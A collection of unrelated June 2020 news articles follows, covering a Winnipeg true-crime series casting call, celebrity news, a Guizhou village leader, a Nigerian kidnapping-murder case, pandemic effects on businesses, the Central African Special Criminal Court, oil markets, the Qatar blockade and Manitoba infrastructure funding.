Earlier this week, local production company Farpoint Films put out a casting announcement for "Non-Union African-Canadians for upcoming projects."

Farpoint is working on a TV series for the American cable networks Bounce and Court TV on a real crime. Titled Dying to Be Famous: The Ryan Singleton Mystery, the show examines the case of Singleton, an aspiring model whose body was discovered in the Mojave Desert, minus many of his internal organs, in 2013.

RUTH BONNEVILLE / WINNIPEG FREE PRESS Kyle Bornais, executive producer and co-founder of Farpoint Films Inc., is preparing to shoot a true-crime series for American cable networks Bounce and Court TV.

Farpoints co-founder and executive producer Kyle Bornais says the series, consisting of six one-hour episodes, represents an attempt to solve the mystery. And that investigation  as well as some of the filming  took place during the lockdown.

"We did some interviews in Atlanta with Ryans mother and family and friends," he says. "Weve been shooting it for a while. It went on hiatus when everything happened but we started up again."

"We actually started up during the pandemic, because you can shoot in the states," Bornais says. "(Farpoint co-founder) John Barnard directed via Zoom."

Farpoint is planning to shoot two weeks of dramatic recreations in two to three weeks, the reason for the casting call.

"Its set all over the U.S. He was found in the Mojave Desert after his body was found after he went missing for seven or eight days," he says, adding the story also takes place in Atlanta, New York, and Los Angeles.

"So Manitoba is going to be playing for a lot of these major U.S. cities."

The theme of the show feels especially topical, Bornais says.

"Ryan Singleton was a young black man who was murdered, we think, and the police never really did anything," he says. "We are trying to solve the crime and we hired investigators in the U.S. to look into it.

"One of the theories is that it was a race murder, but nobody knows yet," Bornais says. "Were still in research stage. Certainly race feels like it could be one of the underlying factors in why he was killed and why the case was never really fully solved properly."

Farpoint also managed to shoot the final footage for their TV series Ice Vikings, about commercial fishing in Gimli, right up to the shutdown, giving them the opportunity to do post-production.

"I set up all our editors with home edit suites," he says. "Weve been heavily in post on Ice Vikings and we delivered 13 episodes of a series called The Day My Job Tried to Kill Me for the U.K. market in the middle of the pandemic."

The latter series is about workplace disasters in which survivors describe "the day that their workplace turned into a living hell," according to the promotional material.

randall.king@freepress.mb.ca

Twitter: @FreepKing

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Cate Blanchett injured in chainsaw accident

Oscar-winning actress Cate Blanchett has been injured in a chainsaw accident at her home in England. Im fine. I had a bit of a chainsaw accident yesterday, which sounds very, very exciting, but it wasnt, the 51-year-old movie star said on A Podcast of Ones Own with former Australia Prime Minister Julia Gillard. Apart from the little nick to my head, were fine." Blanchett, whose credits include Lord of the Rings, Elizabeth, Mrs. America and an upcoming Lucille Ball biopic, didnt elaborate on why she was using power tools but reportedly said shes taken a year off from acting to focus on helping her four children with homeschooling amid the coronavirus pandemic. So its a little bit discombobulating, but its a high-class problem. Were all well. And so I found myself being a kindergarten teacher to my 5-year-old, which is just as challenging. I have a huge respect for the teaching profession," Blanchett said.

Cate Blanchett talked abt thechainsaw accidentwith former Aus Prime Minister Julia Gillard in a podcast last week. pic.twitter.com/NqbmQymu6b  HIL (@Hil_yee) June 5, 2020

Jake Paul charged

YouTube star Jake Paul has been charged for unlawfully entering and remaining inside the Scottsdale Fashion Square mall in Arizona when it was closed. ET reports hes facing misdemeanor charges of criminal trespassing and unlawful assembly. Paul, 23, said he was peacefully protesting police brutality after the death of George Floyd and denied participating in any vandalism or vandalism. For context, we spent the day doing our part to peacefully protest one of the most horrific injustices our country has ever seen, which led to us being tear-gassed for filming the events and brutality that were unfolding in Arizona," Paul said. Gimme my charges and lets put the focus back on George Floyd and Black Lives Matter.

MORE BUZZ:

Kanye West donates $2M to Floyd, Abery, Taylor families ( ET

Kim K reportedly considering moving into different house away from Kanye ( DM

Bhad Bhabie recovering in treatment center after social media abuse ( BB

Kevin Hart, Ludacris, more attend memorial service for George Floyd ( ET

Ellen Pompeo questions presence of machine guns at BLM protests ( E!

Erasure releases new 80s-esque song Hey Now ( RS

Gabrielle Union files discrimination suit against Simon Cowell, AGT ( ET

Lin-Manuel Miranda delays release of hip-hop documentary ( RS

Jamal Khashoggi movie in the works from Morbius director ( SF

Riverdale creator says Vanessa Morgans diversity criticism is right ( ET

Elvis Costello shares new song No Flag ( RS

Buzz is a daily roundup of entertainment news from movies, TV, music and celebrity gossip.
Yu Bili, Party chief of Zheguyuan Village, Xingren County, Guizhou Province, inspects a local prickly ash farm. [Long Zhicai/ For China Daily]

Twenty years ago, Yu Bili set her mind to developing Zheguyuan Village, a cause that has lasted to this day. The village's outlook had to be changed and new opportunities embraced to improve living conditions.

Zheguyuan is a small village that lies in Xingren County, Southwest China's Guizhou Province. Although not far from the town center, it was an impoverished village that had no basic water or power supply until earlier this century.

Like many 30-year-olds from the area at that time, Yu left in 1998 to seek job opportunities in the cities, but she soon returned.

"I saw how developed the outside world is, and wanted the same for my hometown, so I thought of using our land resources to develop agriculture," Yu says.

Yu was elected as the Party chief of the village in 2002. As the first female leader of the village, she faced a lot of pressure because of a traditional mindset among some villagers.

She, along with other village cadres, started out by improving local infrastructure, before developing businesses.

"We focused on infrastructure construction by building roads and providing water. When people saw the substantial improvements to the village, they gradually recognized our effort and work," Yu says.

She then encouraged the villagers to grow vegetables on a larger scale rather than sticking to the conventional practices of growing crops for a single household. Knowing about the villagers' doubts, Yu was always the first to set an example.

In 2008, Yu made a loan of 20,000 yuan ($2,808) to build six greenhouses, planting a wide range of vegetables including tomatoes, cabbage and eggplants, yielding more than 60,000 yuan in one year.

The villagers then started to follow Yu's example and changed their own living conditions, He Dacui being one of them.

"My family used to be very poor. When Yu called for us to grow vegetables, I rented some land and started to grow varied seasonal vegetables. We now earn around 100,000 yuan yearly simply from growing vegetables. Our living conditions have greatly improved," He says.

"One thing about her that impresses me the most is that she has been sponsoring an orphan in the village for education, from primary school to university. She never asked anything in return."

Apart from He, several other villagers described Yu as a responsible and helpful leader.

"She dares to envision and experiment with new projects, and always seeks the best for the villagers," Cen Jian, another villager, says. "When developing the vegetable and pepper industries, some villagers were not willing to cooperate, and she patiently explained to them and changed their mindset."

In 2017, the village became one of the first in the county to be taken off the list of impoverished villages, and by the end of 2019, all households in the village had shaken off poverty and had access to water, electricity and communication services.

After being elected a deputy to the 13th National People's Congress in 2018, Yu says that she feels even more responsible to serve the people and improve their hometown.

"Every year we pay door-to-door visits, collect the people's feedback, and learn about their problems. We also go on field trips to other cities and provinces to learn from their experience and find out what we are lacking," Yu says.

At this year's two sessions, Yu's suggestions still centered on rural vitalization, including sewage treatment, high-speed railway and reservoir construction, and local medical services.

The population in the village composes mainly of Bouyei and Miao ethnic groups, and Yu aims to retain and promote the village's unique ethnic culture in future development.

"We have our unique ethnic culture, with our local specialties, our clothes and our customs. Now we're developing tourism based on this cultural background," Yu says.

"We also have beautiful scenery and rich natural resources, suitable for producing unpolluted vegetable brands, developing agritourism and ethnic bed-and-breakfast business."

(Source: China Daily)
A callous gang of brothers, the Emmanuels, have been arrested by the Nigerian police, after they gruesomely killed a 55 year-old woman, buried her in a tank and then demanded ransom for the body.

The brothers, born by same parents, were arrested by police operatives attached to the Intelligence Response Unit of the Nigeria Police Force.

They were identified as Johnson Emmanuel, 38; Gideon Emmanuel, 31 and Success Emmanuel, 27years old.

According to the police, the three men kidnapped and killed Janet Nnenna Ogbonnaya, a widow and mother of five children in Abuja.



They were arrested in their home town of Isiekenesi, Ideato LGA of Imo State, where they had taken refuge from the long hands of the law.

Investigations that led to the arrest of the suspects was sequel to complaints received from one of the children of the woman, Chinedu.

He told the police that his mother, from Ozuitem in Bende LGA of Abia State had been kidnapped and a 5-Million naira ransom demanded before she could be released.

A comprehensive and painstaking investigation by the police operatives resulted in the arrest of the three suspects.

Then they made the confession that Janet had long been murdered and buried.

Further findings revealed that Janet, a Facebook friend of the principal suspect  Johnson Emmanuel, was lured from her home in Gwagwalada to visit the suspect.

The suspect thereafter took advantage of the visit, served her yoghurt laced with drugs and subsequently had her murdered.

The suspect having killed the victim and buried her remains in a septic tank, went ahead to reach out to the family of the victim using her phone and demanded 5-Million naira ransom as pre-condition for her release. 

Police said the suspects led a team of investigators alongside pathologists to a residence at Wumba District, Lokogoma, Abuja where the victims decomposing body was exhumed from a septic tank.

The exhumed body has been taken to the University Teaching Hospital, Gwagwalada, Abuja for forensic examination, the police said.

A Toyota Highlander Jeep belonging to the deceased has also been recovered by Police operatives at a mechanic workshop in Apo where it had been repainted into a different colour.

The vehicle documents had also been fraudulently changed and ownership of the stolen vehicle transferred to Johnson Emmanuel, the mastermind of the crime.

Investigations also revealed that the house where the deceased was killed and buried originally belonged to one of the suspects.

The house was hurriedly sold-off to a third party apparently to obliterate evidence.

The Inspector-General of Police, Mohammed Adamu, commended the operatives for cracking the case.

He also gave an assurance that perpetrators of any form of crimes in the country will not go undetected and unpunished.

He however enjoined citizens to be more security conscious and report any suspicious activities within their neighbourhood to the nearest police station.

Follow Us on Facebook  @LadunLiadi; Instagram  @LadunLiadi; Twitter  @LadunLiadi; Youtube  @LadunLiadiTV for updates
BY: Dr. Abdul Baasit Aziz Bamba, School of Law, University of Ghana

Category: Features
Wrap Shack, on 11th Street in Center City, is weathering the coronavirus shutdowns by selling takeout and delivery food as well as cocktails to go. The early closings because of curfew have eaten into its dinner business. Read more

Philadelphia restaurants, already battered by closings and restrictions related to the coronavirus, are suffering a further economic hit by the city-imposed curfews related to the protests against police brutality.

The city began curfews starting at 6 and 8 p.m. about a week ago, cutting into dinnertime takeout and delivery business, as well as the walk-in trade. For many restaurants in a city that relies heavily on carryout, the impact has been dramatic.

Leo Osmanollaj, an owner of M2O Burgers & Salads at Fifth and Monroe Streets, said he had been just covering costs after the coronavirus swept many office workers out of the Queen Village neighborhood, dramatically affecting his lunch trade. Now were off another 20% because he has to shut down early, he said.

Most restaurants stop taking orders 60 to 90 minutes before curfew to allow time for cooking, delivery, and staff departure. On a Friday or Saturday night, its a killer.

Its just one thing after another, said Aaron Anderson, who opened the Original Hot Dog Factory, a takeout-only shop on 15th Street near Arch, as the pandemic began to surface in March. Since many protests are within a block of his location, he has been keeping his door open after curfew for walk-ins.

The curfew has slashed business as much as 75% at Turps Kitchen at Third Street and Snyder Avenue in South Philadelphia, which opened March 7 with a slate of cooking classes, a 16-seat dining room, and takeout and delivery service.

Turps, which specializes in jerk chicken, is miles from any of the protests. But most of Turps delivery business comes in after 6 p.m. daily, said owner LaTonya Turpin. Some customers have adjusted their ordering schedules.

I understand the curfews. These protests are for a greater cause, said Scott Hockfield, who uses six delivery services, including his own employees on bicycles, to serve orders from the Wrap Shack in Washington Square West. My bike guys get held up [by the barricades], and it takes a half-hour to go eight blocks. But Im not crying about it. Well get through it.

A city spokesperson said the administration understands the frustration, but this is being done in the interest of public safety  including the protection of businesses, who continue to be targets of theft and vandalism. She said the curfew is reviewed daily and might no longer be needed soon, depending on current circumstances and expected activities.
More than 4,700 Cancun, Riviera Maya businesses complying with new Tourism Health Certification

Riviera Maya, Q.R.  The strategy Reactivate Quintana Roo already includes more than 4,700 businesses around the state, says the head of tourism, who she says, have signed up to meet the new health requirements for tourism. However, Governor Carlos Joaquin does warn that the COVID-19 health contingency has not ended, and that if people neglect sanitary measures, it could result in another quarantine.

He says the people of Quintana Roo have to learn to live with the coronavirus. Until now, we have fought it by staying at home, but as soon as we leave our homes, the situation will be different. For this reason, we must always maintain preventive and hygiene measures, especially those of social distancing.

There is still no vaccine or medication that allow us to fully protect ourselves, he added. If we work as a team, in accordance with this plan, we will be able to contain and reduce the level of contagion, controlling its effects.

The governor noted that if we neglect and relax discipline in complying with sanitary measures, there may be a new outbreak of the virus that would put the health of the population at risk. If that happens, we will return to the red traffic light color, which implies returning to isolation in our homes, he stressed.

He affirmed that on June 8, the gradual reactivation of the economy will begin. Upon resuming tourist activities, more than 4,700 Quintana Roo companies will have the Certification in Health Protection and Prevention in Tourist Facilities issued by the State Tourism Secretariat (Sedetur) and the State Health Secretariat (SESA).

Registration for certification was opened May 18, at no cost and on a voluntary basis. The certification consists of 279 criteria, of which 223 are compulsory and 56 are voluntary. Its objective is to maintain the necessary sanitary measures for the prevention and containment of COVID-19, as well as to support the tourism industry in Quintana Roo for the incorporation of improved sanitary security practices in order to provide clients with confidence and certainty.

The head of Sedetur, Marisol Vanegas, reported that to date, 4,715 companies have been registered, of which 4,000 will most likely be certified for the gradual reopening of tourism next week. Companies that have obtained the certificate will be backed by the World Tourism Organization (UNWTO) and by the World Travel and Tourism Council (WTTC) to add confidence to travelers that they will be visiting a health-approved destination.
In the big, brand new courtroom, workers are laying the last tiles and putting the finishing touches. Not far away, the new two-storey administrative building with some 60 air-conditioned offices has been completed. In terms of equipment, the Special Criminal Court (SCC) is now finally operational, five years after the 3 June 2015 law that created it.

So it was timely for the Court when it announced in a May 25 press release, that it was taking over the files of nine combatants arrested a few days earlier after attacks in the south-eastern Obo region. The nine are presumed to belong to the armed group led by Ali Darassa, the Union for Peace in the Central African Republic (UPC). And a few days earlier, the UN mission MINUSCA had announced the arrest of nine other militiamen in Ndele, in the north, also handed over to the SCC. The 18 new detainees, once transferred to Bangui, will be held in cells newly rehabilitated by the Courts two main donors  UNDP and MINUSCA  at the central prison of Camp de Roux.

The SCC has woken up

Civil society is enthusiastic. Carine Fornel Poutou, president of the Central African Association of Women Lawyers, is pleased. It was what we wanted, she says. When we learned of the arrests in Ndele and Obo, it was a relief. We had to get our hands on these executioners! Joseph Bindoumi, President of the Central African League for Human Rights, adds: Its true we were afraid at one point that the SCC would follow the example of the International Criminal Court, which is dragging its feet on some cases, meaning that there is no longer a direct relationship between the crimes committed and the legal response. For Mathias Morouba, his counterpart at the Central African Human Rights Observatory, the SCC has just woken up, but it has taken a long time.

Created after the Bangui Forum, which stressed the need to combat impunity, this mixed jurisdiction responsible for judging the perpetrators of the most serious crimes committed since 2003 had raised real hopes. Five years later and still with no trials, unlike the ordinary courts, hope has faded for many Central Africans. At the beginning of May, the SCC indicated it had eight investigations under way, eight cases under examination and three people in preventive detention, after only one and a half years of real judicial work. For the year 2020, its projected annual operating budget is 15.8 million dollars. However, the Court, which has no guaranteed long-term structural funding, reportedly still needs to find 58 million to ensure its functioning over the next three years.

The Special Criminal Court courtroom, in its final stage of construction.  Gael Grilhot

But these delays in implementation can be explained, argues the Deputy Special Prosecutor of the Court, Alain Ouaby Bekai. It was necessary to recruit judges and staff, find funding, and above all, there was a lack of legal instruments, such as the Rules of Procedure and Evidence, which is our Bible. These Rules were adopted by the National Assembly on 2 July 2018. We launched the first preliminary investigations in January 2019, he adds. And by 2021, we hope to have arrest warrants, new arrests, and develop cooperation with the ordinary courts for the filing of complaints in the provinces.

Last May the SCC announced a further postponement of its first hearings, now scheduled for early 2021. Even the Court is not spared by Covid-19, says the Deputy Special Prosecutor. We have tried to adapt our activities to the governments regulations. Investigations are continuing, hearings are taking place, but not as quickly as before. He cites difficulties in travelling to the field, but also the impossibility for international judges to come to Bangui.

Repeated violations of the Khartoum Agreement

In recent months, violations of the peace agreement reached in February 2019 in Khartoum have multiplied, resulting in dozens of victims and thousands of displaced persons. For Carine Fournel, these five years without any real tangible results or arrests by the SCC have encouraged the continuation of crimes. If there had been sanctions, these executioners would not be continuing to abuse the population, she says. Thats because there was no justice. These [new] arrests are a way of warning other perpetrators to stop what they are doing, otherwise the judicial hammer will fall on them.

So will these arrests, linked to recent events whereas the SCC was set up to deal with serious crimes committed since 2003, set an example and promote the implementation of the peace agreement? Its a question of going for cases where the collection of evidence will be simplest, replied Prosecutor Bekai. Facts dating back to 2003 are not being forgotten but since there are choices to be made, we believe that in more recent cases we will have the opportunity to collect evidence more easily than those dating back to 2003, which require more work.

SCCs pragmatism

According to Pierre Brunisso, an international criminal lawyer and former head of mission for FIDH in the Central African Republic, by taking up the case concerning the violence in Obo, the Court is showing pragmatism. It can take advantage of the FACA [Central African Armed Forces] deployment to investigate on the ground and put an end to the impunity ravaging the south-east of the country. This should not prevent it from dealing with older cases. Prosecutors cannot ignore past massacres, such as those in Bangassou or Alindao.

There is an even more uncomfortable question, namely the impunity for armed group leaders, some of whom are an integral part of the government under the peace agreement. This is the case of UPC leader Darassa, who is military adviser to the Prime Minister with the rank of minister. The nine militiamen arrested in Obo would have been under his command. But, he said in a statement on 20 May, the UPC is in no way involved in the exactions and fighting in Obo. It is the civilian population that has taken action in response to the abuses of the FACA in the area.

Small fry that MINUSCA hands on a platter

For Gervais Lakosso, coordinator of the Civil Society Working Group, a political opposition movement, these Obo arrests are a drop in the ocean. He says Ali Darassa must be arrested, or one of his top lieutenants, in order for the case to become serious, someone whose arrest could worry the group. These nine men, among the thousands of others he has, are nothing. Lakosso, for his part, believes there must be political will to ask MINUSCA to arrest these people. If there was the political will to stop these abuses, then they we would stop. Its incomprehensible.

An African lawyer working at MINUSCA goes further: The SCC is forced to make do with the small fry that MINUSCA hands on a platter. The SCC cannot take issue with the international community which, through the Khartoum Agreement, has granted a kind of impunity to the main perpetrators of the crimes. The SCC wont touch them unless the sponsors in Khartoum allow it. This is where the ICC should play a role.

Was it MINUSCA that told the SCC, we have just arrested criminals, start prosecuting? asks the UN official, who wishes to remain anonymous. That cant be ruled out, just as we cant rule out the possibility that the SCC jumped on the bandwagon and said here we are and we are at work'.

Risk of misinterpretation on the ground

According to Igor Acko, a Central African sociologist and expert on peace and security, these are not the kind of arrests that should be announced with a lot of fanfare. Central Africans are waiting for the arrest of the big fish, those responsible for large-scale massacres. Opportunism also seems to him more likely than a political calculation, even in view of the presidential elections scheduled for the end of 2020 in the Central African Republic. I dont believe there is a political calculation behind it on the part of the government, because the government does not have the means, he says. However, the analyst is concerned about the risk of misinterpretation of the SCCs actions on the ground. The arrests should have started a long time ago because the violence did not start in Ndele. Before Ndele, there was Birao. Why no arrests among those who burned Birao? These arrests are likely to be misinterpreted and to provoke new violence, new inter-community clashes. This is worrying. We have arrested people on one side and left the others.

Brunisso agrees. If the SCC needs to assert itself in an initial phase, it is nevertheless essential that it pursues the instigators, financiers and militia leaders who are the main culprits of the violence in the Central African Republic.
Seventy health workers in Ghanas central region have tested positive for coronavirus, according to health authorities.



The country has recorded over 8,000 confirmed cases of the disease, 38 deaths and more than 3,000 recoveries.



The infected health workers are said to be asymptomatic, which means they have not shown symptoms of the virus.



The authorities say some of them did not adhere to safety protocols and got infected from the community.



The central region in southern Ghana has recorded over 400 cases of the virus, and 70 of them are health workers.



President Nana Akufo-Addo has eased restrictions on religious gatherings and has opened schools for final year students despite a rise in cases. But Ghanas borders remain closed indefinitely.

Source: BBC









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Featured Video
Gardai have seized a gun and drugs worth 360k in a house raid in Dublin.

Officers arrested three men, aged in their late 20s, 30s and 50s, during the raid in the Ballyfermot area last night.

Suspected MDMA tablets with an estimated street value of 360,000, a Glock pistol, ammunition and cash were seized during the searches which were targeting local drugs gangs.

The three men are being held for questioning and can be held for up to seven days.
Khuzestan, an arid expanse on Iraqs border, is home to the majority of Irans oil and gas reserves and is vital to trade both overland and through ports on the Persian Gulf. Any prolonged outbreak there could pose a challenge to Irans government, which relies on its wealth and industry and is already accused by the local population of ignoring its many grievances.
- PE prices traded at about $1 per ton in 2011-2012 when Royal Dutch Shell (NYSE: RDS.A) planned its petrochemical

- The buildout of petrochemical facilities in the U.S. over the past decade has led to a wave of new facilities, but prices for polyethylene  the building block of plastic  have nosedived.

- The oil majors have made a large bet on plastics and petrochemicals as a hedge against long-term demand. But the market for polyethylene is facing overcapacity and narrowing margins.

- Cracks for diesel in Europe have collapsed to an all-time low. The situation looks awful, an executive at a big European refiner told Reuters.

- At the start of the pandemic, it was gasoline that was dragging down refiners. Now it is diesel and other distillates.

- The latest inventory build happened even more quickly than during the 2008/09 economic crisis, as stocks soared now by 52 million barrels, i.e. 43%, in just two months, Commerzbank said in a note. This is attributable first and foremost to extremely weak demand, which at 2.7 million barrels per day has fallen to its lowest level since April 1999.

- Distillate stocks are only 1 percent below a record high last reached in 2010.

- U.S. distillate stocks are soaring, jumping from 136 million barrels in mid-April to 174 million barrels at the end of May.

1. Exploding distillate glut

- U.S. distillate stocks are soaring, jumping from 136 million barrels in mid-April to 174 million barrels at the end of May.

- Distillate stocks are only 1 percent below a record high last reached in 2010.

- The latest inventory build happened even more quickly than during the 2008/09 economic crisis, as stocks soared now by 52 million barrels, i.e. 43%, in just two months, Commerzbank said in a note. This is attributable first and foremost to extremely weak demand, which at 2.7 million barrels per day has fallen to its lowest level since April 1999.

- At the start of the pandemic, it was gasoline that was dragging down refiners. Now it is diesel and other distillates.

- Cracks for diesel in Europe have collapsed to an all-time low. The situation looks awful, an executive at a big European refiner told Reuters.

2. Petrochemical sector facing a bust

- The oil majors have made a large bet on plastics and petrochemicals as a hedge against long-term demand. But the market for polyethylene is facing overcapacity and narrowing margins.

- The buildout of petrochemical facilities in the U.S. over the past decade has led to a wave of new facilities, but prices for polyethylene  the building block of plastic  have nosedived.

- PE prices traded at about $1 per ton in 2011-2012 when Royal Dutch Shell (NYSE: RDS.A) planned its petrochemical complex in Pennsylvania (now under construction). Prices are now between $0.40 and $0.60 per ton, and 2021 futures are trading at just $0.20 per ton.

- Collapsing oil prices have also zeroed out the cost advantage that U.S. polyethylene producers had over Asian competitors.

3. U.S. LNG exports declining fast

- The global market for LNG is buckling under a supply glut, and U.S. exporters are shouldering the burden of the rebalancing.

- [T]his process implies a softening of US balances, be it through US LNG cancellations or by a TTF capitulation making the US a destination for spot LNG, Goldman Sachs wrote in a note. TTF is the benchmark price in Europe. We now see evidence both are happening.

- Goldman says that the U.S. will suffer from LNG cancellations on the order of 4 Bcf/d in the summer months.

- Canceled cargoes hit upstream natural gas production. Goldman lowered its Nymex gas prices for July through October to just $1.75/MMBtu, down $0.35/MMBtu from its previous forecast.

- The sharp decline in the volume of gas flowing to export terminals (see chart), if sustained without any offset, would create a scenario where [coal-to-gas] substitution alone could not balance the market and US gas production shut-ins would be required this summer.

4. China rebound drives bullishness for aluminum

- Chinas manufacturing PMI surprised on the upside with a 55 reading for May, compared to a consensus of 47.3. The reading suggested a sharper rebound in manufacturing.

- But that is not the only reason for the newfound bullishness for aluminum. Aluminium stocks on the SHFE in Shanghai have declined from nearly 550,000 tons at the end of March to below 300,000 tons now, while those in China as a whole have plunged from almost 1.7 million to below 900,000 tons according to SMM, Commerzbank said in a note.

- But with abundant bauxite on hand, China ramped up aluminum production and exports, which Commerzbank said is the main driver behind LME stocks (London) rising.

- From a low of around 970,000 tons in mid-March they have meanwhile soared to a four-year high of over 1.5 million tons, Commerzbank said. Chinese aluminum exports are thus likely to achieve a new record of over 550,000 tons, which is why we remain skeptical as far as aluminum prices are concerned.

5. Oil market could flip to deficit, but huge inventory buildup remains

- Global oil production fell by 9.3 mb/d in May, and demand rebounded by 4.7 mb/d, according to Standard Chartered. That brought the 19.6 mb/d surplus in April down to just 5.6 mb/d in May.

- By July, the surplus will disappear.

- But there is a cumulative inventory build up of around 1,083 million barrels from March to June.

- Under the current OPEC+ arrangement (assuming no extension) it would take until March 2022 to run down the surplus inventories.

- For 2020, only about 20 percent of the surplus would be burned off. But if the current 9.7 mb/d OPEC+ cuts were extended through the end of the year, it would erase 60 percent of the inventory hangover.

- However, OPEC+ appears only set to extend for a month or two, leaving a large inventory buildup to work off.

6. U.S. shale shut-ins come back

- In North America, oil producers shut in around 2.5 mb/d of production. But relief is already on the way.

- Since many of these plans were unveiled, oil prices have strengthened to levels where shutting-in no longer makes sense and should actually encourage producers to quickly restore production, Bank of America Merrill Lynch wrote in a note. For this reason, we expect June curtailments, particularly in the US, to be a fraction of the previously announced levels.

- But the dynamic is not as simple as production coming back. Output may rise temporarily, but because of the deep capex cuts that have already been announced, the steep decline rates from shale wells will overtake the returned output from shuttered wells.

- Shut-ins have captured the headlines recently, but the lack of new shale wells is also hurting output and will become more apparent as the year progress, Bank of America said. Year-on-year production by the fourth quarter could be down by 2 mb/d.

7. Refined product exports focused on Latin America  Covid-19 could wreck that

- Refineries were hit hard by the downturn, but gasoline and diesel inventories remain elevated, despite recent drawdowns.

- Upstream production has started to come back, but refineries have yet to ramp up again. This could cause Cushing inventories to stagnate in the coming weeks, but we think sluggish drilling and completion activity will eventually pull production lower again in the coming months, Bank of America said.

- One of the problems for American refiners is that one of their main markets has been exporting to Latin America.

- Mexico and Brazil are suffering from skyrocketing cases of COVID-19, which could weigh on US refined product exports and slow the recovery of refining activity, Bank of America said.
On third anniversary of diplomatic crisis, Qatars foreign minister says Doha remains open to dialogue.

Qatars foreign minister has expressed hope a new initiative to end the land, sea and air blockade imposed on the Gulf state by four Arab nations may produce results.

We hope the initiative will produce results, we are open to dialogue and ready to meet each step forward with 10 steps from our side, Sheikh Mohammed bin Abdulrahman Al Thani told Al Jazeera in an interview that aired on Friday, the third anniversary of the blockade.

On June 5, 2017, fellow Gulf Cooperation Council (GCC) countries Saudi Arabia, the United Arab Emirates, Bahrain, along with Egypt, a non-council member, severed all political, trade and travel ties with Qatar.

The quartet continues to impose the blockade against Qatar, accusing it of supporting terrorism and destabilising the region, allegations that Doha has repeatedly rejected as baseless.

At the time, the boycotting nations set 13 demands for lifting the blockade, including closing down Al Jazeera media network, shuttering a Turkish base and downgrading ties with Iran. Qatar promptly condemned all demands as a breach of sovereignty.

Kuwait and the United States have tried to mediate a rift that has undermined Washingtons efforts to form a united front against its rival Iran, which is locked in a regional struggle with Saudi Arabia.

We hope this initiative is different than previous ones and it is taken seriously, Sheikh Mohammed said, adding that there were some talks with Saudi Arabia at the end of 2019, but the process later stopped.





Washington has launched a new push on the blockading countries to reopen Gulf airspace for Qatari airlines as a first step towards ending the three-year crisis, according to reports this week in US media. The White House is particularly concerned over so-called overfly fees that Qatar pays to Iran to use the airspace, US officials told the Wall Street Journal.

There is a greater sense of urgency to resolve the airspace issue, said one US official. Its an ongoing irritation for us that money goes into Irans coffers due to Qatar Airways overflights.

Qatar hosts the biggest US military base in the region, while Bahrain hosts the US Fifth Fleet and both Abu Dhabi and Saudi Arabia host US troops.

This region is too small, the countries are too small to live alone, Abdullah Baabood, a GCC expert, told Al Jazeera.

The challenges are huge. We are talking not just about traditional challenges and threats but we are also talking about  economic, social, environmental challenges and pandemics and all of these, as well as security challenges, can only be confronted if the region can work together as one unit.
The owners of Round the Clock diner were fined again for not following the rules, according to a media report.

The Sacarellos family was fined on Monday after inspectors for the Pennsylvania Department of Agriculture found their two diners open, even though both were operating under an emergency temporary suspension of their licenses, the York Daily Record reported.

Both licenses were suspended on May 22. The restaurants were cited because they were providing in-dining service instead of takeout or delivery, which went against Gov. Tom Wolfs coronavirus phased reopening plans.

The owners were fined $1,000 for each diner. The new fines added another $2,000 fine to each diner, YDR reported.

Wolf closed all non-life-sustaining businesses in March to slow the spread of the coronavirus. The report explained that Themi and Demos Sacarellos opened their diners on Mothers Day to provide in-dining service in Manchester and Springettsbury townships. The owners had social distancing in place for those waiting in line, and for those dining inside.

The Department of Agriculture can fine the owners up to $10,000 per facility for each day they provide in-dining service.

They plan to appeal the license suspension and fines. The businesses have been steady ever since they reopened.

More

Williamsport microbrewery copes with COVID-19 pandemic by starting beer giveaway

More Fine Wine & Good Spirits stores to reopen, some offering limited in-store public access
OTTAWA  Manitoba municipalities fear the province isnt moving fast enough to use a massive federal infrastructure program and get people working this summer.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

OTTAWA  Manitoba municipalities fear the province isnt moving fast enough to use a massive federal infrastructure program and get people working this summer.

"Its very frustrating, and it's unfortunate. The losers are the municipalities," said Ralph Groening, reeve of the RM of Morris, who leads the Association of Manitoba Municipalities.

Manitoba signed onto Ottawas massive Investing in Canada Infrastructure Program (ICIP) in June 2018, after a year-long dispute over how to pay for the proposed Interlake flood-channel outlets.

ICIP has provinces select and prioritize projects over the course of a decade, and send them to Ottawa for approval.

Manitobas $3-billion fund is shared by both levels of government, for a decade of projects divided into four quota streams.

Groening said the AMM helped the province analyze 281 funding proposals in February. Hes perplexed why the province hasnt yet sent the list to Ottawa, so federal bureaucrats can vet them for final approval.

He said hes stressed to ministers projects might not be green-lit in time for the looming construction season.

Critics have said Manitoba is a laggard on infrastructure money, but the province insists its in line with other jurisdictions in submitting requests. Ottawa does not publish data that would allow a comparison.

Infrastructure Canada would not say Thursday how many proposals its received from Manitoba in the fiscal year that recently ended  but it did specify it hasnt yet received any applications under the public transit and rural/northern streams.

Three approved projects were announced in the April 2019-20 fiscal year, under the green and culture streams  it is unclear whether Manitoba has submitted any other applications under those two streams.

Manitoba NDP Leader Wab Kinew argued the construction season has already started, and more people could be working if ICIP applications were already in the pipe.

"We're in the midst of the worst global recession in living memory, and we know infrastructure spending is one of the best ways that government can stimulate the economy and bring about a recovery," the Opposition leader said.

Last week, the Town of Snow Lake wrote to Municipal Relations Minister Rochelle Squires and Central Services Minister Reg Helwer, decrying delays in finalizing a sewage plant.

Mayor Peter Roberts wrote last falls elections delayed approvals, and his town expected Manitoba would submit applications by the end of January.

"Every reasonable attempt to get this issue addressed has lead us to one dead end after another," Roberts wrote in a letter obtained by the Free Press.

Neither minister was made available for an interview, but Helwer wrote his plan has always been to submit applications by "late spring," after ongoing talks with municipalities and First Nations.

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"We are hoping to find flexible solutions to flow federal dollars more quickly into the province," reads the statement attributed to Helwer.

Kinew said more groundwork should have been laid before the COVID-19 pandemic reached Manitoba in March.

"The government ought to be doing everything within its power to make up for the lost time that's come as a result of their delays," he said, chalking this up to a "(Premier Brian) Pallister playbook" of pushing off Ottawas cost-sharing programs.

Before the pandemic, the federal Liberal government spent far above its promised amounts, while the provincial Pallister government has long been committed to balancing its books.

The two have thus sparred over numerous cost-shared programs, from carbon retrofits to housing and infrastructure.

dylan.robertson@freepress.mb.ca
Colin Farrell is on break from his latest project as production halted amid the growing coronavirus pandemic.

But the Golden Globe winner is keeping up with his fitness routine as he quarantines at home in Los Angeles.

He worked up a sweat Thursday as he stepped out to take his dog for a run along with his sister Claudine in his Los Angeles neighborhood during a break from quarantine.

Family outing: Colin Farrell worked up a sweat Thursday as he stepped out to take his dog for a run along with his sister Claudine in his Los Angeles neighborhood

